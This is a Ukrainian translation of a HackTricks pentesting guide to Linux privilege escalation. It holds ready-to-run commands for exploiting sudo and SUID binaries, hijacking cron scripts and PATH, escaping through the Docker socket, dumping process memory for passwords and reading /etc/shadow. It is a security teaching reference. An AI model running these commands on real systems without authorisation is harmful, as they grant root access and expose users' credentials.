hacktricks/src/linux-hardening/privilege-escalation

Linux Privilege Escalation

{{#include ../../banners/hacktricks-training.md}}

Інформація про систему

Інформація про ОС

Почнемо збирати інформацію про запущену ОС

(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems

Шлях

Якщо ви маєте права запису у будь-яку папку всередині змінної PATH, ви можете hijack деякі libraries або binaries:

echo $PATH

Інформація про змінні середовища

Чи містять змінні середовища цікаву інформацію, паролі або API-ключі?

(env || set) 2>/dev/null

Kernel exploits

Перевірте версію kernel та чи існує exploit, який можна використати для escalate privileges

cat /proc/version
uname -a
searchsploit "Linux Kernel"

Ви можете знайти добрий список вразливих версій ядра та деякі вже compiled exploits тут: https://github.com/lucyoa/kernel-exploits та exploitdb sploits.
Інші сайти, де можна знайти деякі compiled exploits: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

Щоб витягти всі версії вразливого ядра з цього сайту, ви можете зробити:

curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

Інструменти, які можуть допомогти шукати kernel exploits:

linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py (execute IN victim,only checks exploits for kernel 2.x)

Завжди search the kernel version in Google, можливо версія вашого kernel вказана в якомусь kernel exploit, і тоді ви будете впевнені, що цей exploit дійсний.

CVE-2016-5195 (DirtyCow)

Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Sudo версія

На основі вразливих версій sudo, які згадані в:

searchsploit sudo

Ви можете перевірити, чи версія sudo вразлива, за допомогою цього grep.

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

sudo < v1.28

Від @sickrov

sudo -u#-1 /bin/bash

Dmesg перевірка підпису не вдалася

Перевірте smasher2 box of HTB для прикладу того, як цю vuln можна експлуатувати

dmesg 2>/dev/null | grep "signature"

Додаткова системна енумерація

date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info

Перелічити можливі засоби захисту

AppArmor

if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi

Grsecurity

((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")

PaX

(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")

Execshield

(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")

SElinux

(sestatus 2>/dev/null || echo "Not found sestatus")

ASLR

cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled

Docker Breakout

Якщо ви всередині docker container ви можете спробувати втекти з нього:

{{#ref}} docker-security/ {{#endref}}

Диски

Перевірте що змонтовано і відмонтовано, де і чому. Якщо щось відмонтовано ви можете спробувати змонтувати це та перевірити на наявність приватної інформації

ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

Корисне програмне забезпечення

Перелічити корисні бінарні файли

which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

Також перевірте, чи встановлено any compiler. Це корисно, якщо вам потрібно використати якийсь kernel exploit — рекомендується компілювати його на машині, де ви збираєтеся його використовувати (або на подібній).

(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

Встановлене уразливе програмне забезпечення

Перевірте версію встановлених пакетів та сервісів. Можливо, є якась стара версія Nagios (наприклад), яка може бути використана для escalating privileges…
Рекомендується вручну перевіряти версії більш підозрілого встановленого програмного забезпечення.

dpkg -l #Debian
rpm -qa #Centos

If you have SSH access to the machine you could also use openVAS to check for outdated and vulnerable software installed inside the machine.

[!NOTE] > Зауважте, що ці команди виведуть велику кількість інформації, яка переважно буде марною, тому рекомендовано використовувати такі додатки, як OpenVAS або подібні, які перевіряють, чи яка-небудь встановлена версія програмного забезпечення є вразливою до відомих exploits

Процеси

Перегляньте, які процеси виконуються, і перевірте, чи якийсь процес має більше привілеїв, ніж повинен (можливо tomcat виконується від root?)

ps aux
ps -ef
top -n 1

Завжди перевіряйте можливі electron/cef/chromium debuggers running, you could abuse it to escalate privileges. Linpeas виявляє їх, перевіряючи параметр --inspect у командному рядку процесу.
Також перевірте свої привілеї над бінарними файлами процесів — можливо, ви зможете перезаписати чиєсь.

Моніторинг процесів

Ви можете використовувати інструменти на кшталт pspy для моніторингу процесів. Це може бути дуже корисним для виявлення вразливих процесів, які виконуються часто або коли виконуються певні умови.

Пам'ять процесів

Деякі служби на сервері зберігають credentials in clear text inside the memory.
Зазвичай для читання пам'яті процесів, що належать іншим користувачам, потрібні root privileges, тому це зазвичай більш корисно, коли ви вже root і хочете знайти додаткові credentials.
Однак пам'ятайте, що як звичайний користувач ви можете читати пам'ять процесів, які належать вам.

Warning

Зверніть увагу, що зараз на більшості машин don't allow ptrace by default, тобто ви не можете дампити інші процеси, що належать неповноваженому користувачу.

Файл /proc/sys/kernel/yama/ptrace_scope контролює доступність ptrace:

• kernel.yama.ptrace_scope = 0: all processes can be debugged, as long as they have the same uid. Це класичний спосіб, як працювало ptracing.
• kernel.yama.ptrace_scope = 1: only a parent process can be debugged.
• kernel.yama.ptrace_scope = 2: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability.
• kernel.yama.ptrace_scope = 3: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again.

GDB

Якщо у вас є доступ до пам'яті FTP service (наприклад), ви можете отримати Heap і шукати всередині його credentials.

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

GDB скрипт

#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

/proc/$pid/maps & /proc/$pid/mem

Для заданого ідентифікатора процесу, maps показують, як пам'ять відображається у віртуальному адресному просторі цього процесу; вони також показують права доступу кожного відображеного регіону. Псевдофайл mem надає доступ до самої пам'яті процесу. З файлу maps ми знаємо, які області пам'яті доступні для читання та їхні зміщення. Ми використовуємо цю інформацію, щоб seek into the mem file and dump all readable regions у файл.

procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)

/dev/mem

/dev/mem надає доступ до системної фізичної пам'яті, а не до віртуальної пам'яті. Віртуальний простір адрес ядра можна отримати через /dev/kmem.
Зазвичай /dev/mem доступний для читання лише для root та групи kmem.

strings /dev/mem -n10 | grep -i PASS

ProcDump for linux

ProcDump — це переосмислена версія класичного інструмента ProcDump із набору інструментів Sysinternals для Windows, адаптована для Linux. Отримати його можна на https://github.com/Sysinternals/ProcDump-for-Linux

procdump -p 1714

ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.

Process:		sleep (1714)
CPU Threshold:		n/a
Commit Threshold:	n/a
Thread Threshold:		n/a
File descriptor Threshold:		n/a
Signal:		n/a
Polling interval (ms):	1000
Threshold (s):	10
Number of Dumps:	1
Output directory for core dumps:	.

Press Ctrl-C to end monitoring without terminating the process.

[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714

Інструменти

Для dump пам'яті процесу можна використати:

• https://github.com/Sysinternals/ProcDump-for-Linux
• https://github.com/hajzer/bash-memory-dump (root) - _Ви можете вручну видалити вимоги до root і dump процес, що належить вам
• Script A.5 from https://www.delaat.net/rp/2016-2017/p97/report.pdf (root потрібен)

Облікові дані з пам'яті процесу

Ручний приклад

Якщо ви виявите, що процес authenticator запущено:

ps -ef | grep "authenticator"
root      2027  2025  0 11:46 ?        00:00:00 authenticator

Ви можете dump the process (див. попередні розділи, щоб знайти різні способи dump the memory of a process) і шукати credentials всередині memory:

./dump-memory.sh 2027
strings *.dump | grep -i password

mimipenguin

Інструмент https://github.com/huntergregal/mimipenguin буде steal clear text credentials from memory та з деяких well known files. Для правильної роботи він потребує привілеїв root.

Функція	Назва процесу
GDM password (Kali Desktop, Debian Desktop)	gdm-password
Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop)	gnome-keyring-daemon
LightDM (Ubuntu Desktop)	lightdm
VSFTPd (Active FTP Connections)	vsftpd
Apache2 (Active HTTP Basic Auth Sessions)	apache2
OpenSSH (Active SSH Sessions - Sudo Usage)	sshd:

Пошукові регулярні вирази/truffleproc

# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt

Scheduled/Cron jobs

Перевірте, чи вразливий якийсь scheduled job. Можливо, ви можете скористатися скриптом, що виконується від імені root (wildcard vuln? чи можна змінити файли, які використовує root? use symlinks? створити певні файли в директорії, яку використовує root?).

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Шлях cron

Наприклад, у файлі /etc/crontab можна знайти PATH: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

(Зверніть увагу, що користувач "user" має права запису в /home/user)

Якщо в цьому crontab користувач root намагається виконати якусь команду або скрипт без встановлення PATH. Наприклад: * * * * root overwrite.sh
Тоді ви можете отримати root shell, використавши:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

Cron, що використовує скрипт з wildcard (Wildcard Injection)

Якщо скрипт, який виконується під root, має “*” всередині команди, ви можете використати це, щоб спричинити несподівані дії (наприклад privesc). Приклад:

rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script

Якщо wildcard передує шляху на кшталт /some/path/* , він не є вразливим (навіть ./* не є).

Прочитайте наступну сторінку для додаткових трюків щодо wildcard exploitation:

{{#ref}} wildcards-spare-tricks.md {{#endref}}

Cron script overwriting and symlink

Якщо ви can modify a cron script який виконується під root, ви дуже легко зможете отримати shell:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p

Якщо script, що виконується від імені root, використовує каталог, до якого ви маєте повний доступ, можливо, корисно видалити цю папку і створити symlink, який вказує на інший каталог, що містить script під вашим контролем.

ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>

Часті cron jobs

Ви можете відстежувати процеси, щоб знайти ті, що виконуються кожні 1, 2 або 5 хвилин. Можливо, ви зможете скористатися цим і escalate privileges.

Наприклад, щоб відстежувати кожні 0.1s протягом 1 хвилини, відсортувати за найменш виконуваними командами і видалити команди, які виконувалися найчастіше, ви можете зробити:

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

Ви також можете використовувати pspy (це буде відстежувати і перераховувати кожен процес, що запускається).

Невидимі cron jobs

Можна створити cronjob, вставивши символ повернення каретки (carriage return) після коментаря (без символу нового рядка), і cron job буде працювати. Приклад (зауважте символ повернення каретки):

#This is a comment inside a cron config file\r* * * * * echo "Surprise!"

Сервіси

Записувані .service файли

Перевірте, чи можете ви записати будь-який .service файл; якщо так, ви можете змінити його так, щоб він виконував ваш backdoor коли сервіс запускається, перезапускається або зупиняється (можливо, вам доведеться почекати до перезавантаження машини).
Наприклад, створіть ваш backdoor всередині .service файлу з ExecStart=/tmp/script.sh

Доступні для запису service binaries

Майте на увазі, що якщо у вас є write permissions over binaries being executed by services, ви можете змінити їх на backdoors, тому при повторному виконанні services backdoors будуть виконані.

systemd PATH - Відносні шляхи

Ви можете подивитися PATH, який використовує systemd, за допомогою:

systemctl show-environment

Якщо ви виявите, що можете write в будь-яку з папок цього шляху, ви можете мати можливість escalate privileges. Потрібно шукати relative paths being used on service configurations у файлах, таких як:

ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

Тоді створіть виконуваний файл з тим самим ім'ям, що й бінарний файл за відносним шляхом у папці PATH systemd, у яку ви маєте право запису, і коли сервіс буде запрошений виконати вразливу дію (Start, Stop, Reload), ваш backdoor буде виконано (звичайні користувачі без привілеїв зазвичай не можуть запускати/зупиняти сервіси, але перевірте, чи можете ви використати sudo -l).

Дізнайтесь більше про сервіси за допомогою man systemd.service.

Таймери

Таймери — це systemd unit файли, назва яких закінчується на **.timer**, що керують файлами або подіями **.service**. Таймери можуть використовуватися як альтернатива cron, оскільки вони мають вбудовану підтримку подій за календарним часом і монотонних часових подій та можуть виконуватися асинхронно.

Ви можете перерахувати всі таймери за допомогою:

systemctl list-timers --all

Доступні для запису таймери

Якщо ви можете змінити таймер, ви можете змусити його запускати деякі існуючі одиниці systemd.unit (наприклад, .service або .target)

Unit=backdoor.service

In the documentation you can read what the Unit is:

Юніт, який потрібно активувати, коли цей таймер спливає. Аргумент — це ім'я unit'а, суфікс якого не є ".timer". Якщо не вказано, це значення за замовчуванням відповідає сервісу з тим самим іменем, що й таймер, за винятком суфікса. (Див. вище.) Рекомендується, щоб ім'я unit'а, який активується, та ім'я unit'а таймера збігалися, окрім суфікса.

Therefore, to abuse this permission you would need to:

• Знайти якийсь systemd unit (наприклад, .service), який виконує записуваний двійковий файл
• Знайти systemd unit, який запускає відносний шлях, і над яким у вас є права на запис у systemd PATH (щоб імітувати цей виконуваний файл)

Learn more about timers with man systemd.timer.

Увімкнення таймера

Щоб увімкнути таймер, потрібні права root та виконати:

sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.

Зверніть увагу, що timer активується шляхом створення символічного посилання на нього в /etc/systemd/system/<WantedBy_section>.wants/<name>.timer

Сокети

Unix Domain Sockets (UDS) дозволяють взаємодію процесів на тій самій або різних машинах у межах клієнт-серверних моделей. Вони використовують стандартні Unix descriptor файли для міжкомп'ютерної комунікації і налаштовуються через .socket файли.

Сокети можна налаштовувати за допомогою файлів .socket.

Дізнатися більше про сокети можна через man systemd.socket. Всередині цього файлу можна налаштувати кілька цікавих параметрів:

• ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction: Ці опції відрізняються, але у підсумку використовуються для вказання, де буде прослуховуватися сокет (шлях до файлу AF_UNIX сокета, IPv4/6 і/або номер порту для прослуховування тощо).
• Accept: Приймає булевий аргумент. Якщо true, для кожного вхідного з'єднання створюється екземпляр сервісу, і йому передається лише сокет з'єднання. Якщо false, всі прослуховувані сокети самі передаються запущеному юніту сервісу, і запускається лише один юніт сервісу для всіх з'єднань. Це значення ігнорується для datagram сокетів і FIFO, де один юніт сервісу безумовно обробляє весь вхідний трафік. За замовчуванням — false. З міркувань продуктивності рекомендується писати нові демони таким чином, щоб вони підходили для Accept=no.
• ExecStartPre, ExecStartPost: Приймають одну або кілька командних стрічок, які виконуються перед або після створення і прив'язки прослуховуваних сокетів/FIFO відповідно. Перший токен командного рядка повинен бути абсолютним шляхом до файлу, після нього йдуть аргументи процесу.
• ExecStopPre, ExecStopPost: Додаткові команди, які виконуються перед або після закриття і видалення прослуховуваних сокетів/FIFO відповідно.
• Service: Вказує ім'я юніту service, який потрібно активувати при вхідному трафіку. Ця опція дозволена лише для сокетів з Accept=no. За замовчуванням використовується сервіс з тим же ім'ям, що й сокет (з відповідною заміною суфікса). У більшості випадків застосування цієї опції не є необхідним.

Writable .socket files

Якщо ви знайдете доступний для запису файл .socket, ви можете додати на початку секції [Socket] щось на кшталт: ExecStartPre=/home/kali/sys/backdoor і backdoor буде виконано перед створенням сокета. Тому ймовірно доведеться почекати перезавантаження машини.
Note that the system must be using that socket file configuration or the backdoor won't be executed

Writable sockets

Якщо ви виявите будь-який сокет, доступний для запису (тут йдеться про Unix сокети, а не про конфігураційні файли .socket), то ви можете спілкуватися з цим сокетом і, можливо, експлуатувати вразливість.

Перелік Unix сокетів

netstat -a -p --unix

Сире з'єднання

#apt-get install netcat-openbsd
nc -U /tmp/socket  #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket

#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type

Exploitation example:

{{#ref}} socket-command-injection.md {{#endref}}

HTTP sockets

Зверніть увагу, що може бути кілька sockets listening for HTTP requests (не йдеться про .socket файли, а про файли, які виступають як unix sockets). Перевірити це можна за допомогою:

curl --max-time 2 --unix-socket /pat/to/socket/files http:/index

Якщо socket відповідає на HTTP запити, то ви можете взаємодіяти з ним і, можливо, експлуатувати якусь вразливість.

Docker socket, доступний для запису

The Docker socket, often found at /var/run/docker.sock, is a critical file that should be secured. By default, it's writable by the root user and members of the docker group. Possessing write access to this socket can lead to privilege escalation. Here's a breakdown of how this can be done and alternative methods if the Docker CLI isn't available.

Privilege Escalation with Docker CLI

Якщо у вас є права на запис до Docker socket, ви можете escalate privileges, використовуючи такі команди:

docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

Ці команди дозволяють запустити контейнер з доступом на рівні root до файлової системи хоста.

Using Docker API Directly

У випадках, коли Docker CLI недоступний, Docker socket все ще можна маніпулювати через Docker API за допомогою команд curl.

1. List Docker Images: Отримайте список доступних образів.

curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json

2. Create a Container: Надішліть запит на створення контейнера, який монтує кореневий каталог хост-системи.

curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create

Start the newly created container:

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start

3. Attach to the Container: Використайте socat щоб встановити з'єднання з контейнером, що дозволяє виконувати команди всередині нього.

socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

Після встановлення socat-з'єднання ви можете виконувати команди безпосередньо в контейнері з доступом root до файлової системи хоста.

Others

Зверніть увагу, що якщо у вас є права на запис на docker socket, оскільки ви inside the group docker, у вас є more ways to escalate privileges. Якщо docker API is listening in a port you can also be able to compromise it.

Перегляньте інші способи виходу з docker або його зловживання для підвищення привілеїв в:

{{#ref}} docker-security/ {{#endref}}

Containerd (ctr) privilege escalation

Якщо ви виявите, що можете використовувати команду ctr, прочитайте наступну сторінку, оскільки you may be able to abuse it to escalate privileges:

{{#ref}} containerd-ctr-privilege-escalation.md {{#endref}}

RunC privilege escalation

Якщо ви виявите, що можете використовувати команду runc, прочитайте наступну сторінку, оскільки you may be able to abuse it to escalate privileges:

{{#ref}} runc-privilege-escalation.md {{#endref}}

D-Bus

D-Bus — це складна система inter-Process Communication (IPC) system, що дозволяє застосункам ефективно взаємодіяти й обмінюватися даними. Розроблена для сучасної Linux-системи, вона пропонує надійну структуру для різних форм прикладної комунікації.

Система є універсальною, підтримуючи базовий IPC, який покращує обмін даними між процесами, нагадуючи enhanced UNIX domain sockets. Крім того, вона допомагає у трансляції подій або сигналів, сприяючи безшовній інтеграції між компонентами системи. Наприклад, сигнал від демона Bluetooth про вхідний дзвінок може змусити програвач музики приглушити звук, покращуючи користувацький досвід. Додатково, D-Bus підтримує систему віддалених об’єктів, спрощуючи запити сервісів і виклики методів між застосунками, оптимізуючи процеси, які раніше були складними.

D-Bus працює за моделлю allow/deny model, керуючи дозволами на повідомлення (виклики методів, відправлення сигналів тощо) на основі кумулятивного ефекту правил політики, що збігаються. Ці політики визначають взаємодії з шиною і потенційно можуть дозволяти privilege escalation через експлуатацію цих дозволів.

Наведено приклад такої політики у /etc/dbus-1/system.d/wpa_supplicant.conf, який деталізує дозволи користувача root щодо володіння, надсилання та отримання повідомлень від fi.w1.wpa_supplicant1.

Політики без зазначеного користувача чи групи застосовуються універсально, тоді як політики з контекстом "default" застосовуються до всіх, хто не охоплений іншими специфічними політиками.

<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>

Дізнайтеся, як перераховувати та експлуатувати D-Bus-комунікацію тут:

{{#ref}} d-bus-enumeration-and-command-injection-privilege-escalation.md {{#endref}}

Мережа

Завжди цікаво досліджувати мережу й визначати розташування машини.

Generic enumeration

#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname

#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf

#Interfaces
cat /etc/networks
(ifconfig || ip a)

#Neighbours
(arp -e || arp -a)
(route || ip n)

#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)

#Files used by network services
lsof -i

Відкриті порти

Завжди перевіряйте мережеві сервіси, що працюють на машині, з якими ви не могли взаємодіяти до отримання доступу:

(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"

Sniffing

Перевірте, чи можете sniff traffic. Якщо так, ви зможете отримати деякі credentials.

timeout 1 tcpdump

Користувачі

Загальна перевірка

Перевірте, who ви, які privileges у вас є, які users є в системі, хто може login і хто має root privileges:

#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog

#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null

Великий UID

Деякі версії Linux постраждали від бага, який дозволяє користувачам з UID > INT_MAX підвищувати привілеї. Детальніше: here, here та here.
Експлуатувати за допомогою: systemd-run -t /bin/bash

Групи

Перевірте, чи ви є членом якоїсь групи, яка може надати вам права root:

{{#ref}} interesting-groups-linux-pe/ {{#endref}}

Буфер обміну

Перевірте, чи містить буфер обміну щось цікаве (якщо можливо)

if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi

Політика паролів

grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs

Відомі паролі

Якщо ви знаєте будь-який пароль середовища — спробуйте увійти як кожен користувач, використовуючи цей пароль.

Su Brute

Якщо вас не бентежить велика кількість шуму і двійкові файли su та timeout присутні на комп'ютері, ви можете спробувати brute-force користувача за допомогою su-bruteforce.
Linpeas з параметром -a також намагається brute-force користувачів.

Зловживання доступним для запису $PATH

$PATH

Якщо ви виявите, що можете записувати в якусь папку з $PATH, ви можете підвищити привілеї, створивши backdoor всередині записуваної папки з іменем якоїсь команди, яка буде виконуватися іншим користувачем (ідеально — root) і яка не завантажується з папки, що знаходиться перед вашою записуваною папкою в $PATH.

SUDO and SUID

Вам може бути дозволено виконувати певну команду через sudo або вона може мати suid біт. Перевірте це за допомогою:

sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries

Деякі неочікувані команди дозволяють читати і/або записувати файли або навіть виконувати команду. Наприклад:

sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>

NOPASSWD

Sudo конфігурація може дозволити користувачеві виконати певну команду з привілеями іншого користувача, не знаючи пароля.

$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim

У цьому прикладі користувач demo може запускати vim як root; тепер тривіально отримати shell, додавши ssh key у root directory або викликавши sh.

sudo vim -c '!sh'

SETENV

Ця директива дозволяє користувачу встановити змінну середовища під час виконання команди:

$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh

Цей приклад, на основі HTB machine Admirer, був вразливий до PYTHONPATH hijacking, що дозволяло завантажити довільну python бібліотеку під час виконання скрипта від імені root:

sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh

Обхід шляхів виконання Sudo

Перейдіть, щоб прочитати інші файли або використайте symlinks. Наприклад у файлі sudoers: hacker10 ALL= (root) /bin/less /var/log/*

sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less

ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file

Якщо використовується wildcard (*), це ще простіше:

sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files

Контрзаходи: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/

Sudo command/SUID binary без шляху до команди

Якщо sudo permission надається для однієї команди без вказання шляху: hacker10 ALL= (root) less — ви можете експлуатувати це, змінивши змінну PATH

export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less

Цю техніку також можна використовувати, якщо бінарний файл suid виконує іншу команду без вказання шляху до неї (завжди перевіряйте за допомогою strings вміст дивного SUID бінарного файлу).

Payload examples to execute.

SUID бінарний файл з вказаним шляхом команди

Якщо бінарний файл suid виконує іншу команду з вказаним шляхом, тоді ви можете спробувати export a function з іменем тієї команди, яку викликає suid файл.

Наприклад, якщо suid бінарний файл викликає /usr/sbin/service apache2 start ви маєте спробувати створити функцію і експортувати її:

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service

Тоді, коли ви викликаєте suid binary, ця функція буде виконана

LD_PRELOAD & LD_LIBRARY_PATH

Змінна оточення LD_PRELOAD використовується для вказування однієї або кількох спільних бібліотек (.so files), які мають бути завантажені завантажувачем перед усіма іншими, включно зі стандартною C бібліотекою (libc.so). Цей процес називається попереднім завантаженням бібліотеки.

Однак, щоб підтримувати безпеку системи і запобігти використанню цієї можливості, особливо щодо виконуваних файлів suid/sgid, система накладає певні обмеження:

• Завантажувач ігнорує LD_PRELOAD для виконуваних файлів, де реальний ідентифікатор користувача (ruid) не збігається з ефективним ідентифікатором користувача (euid).
• Для виконуваних файлів з suid/sgid попередньо завантажуються лише бібліотеки у стандартних шляхах, які також мають suid/sgid.

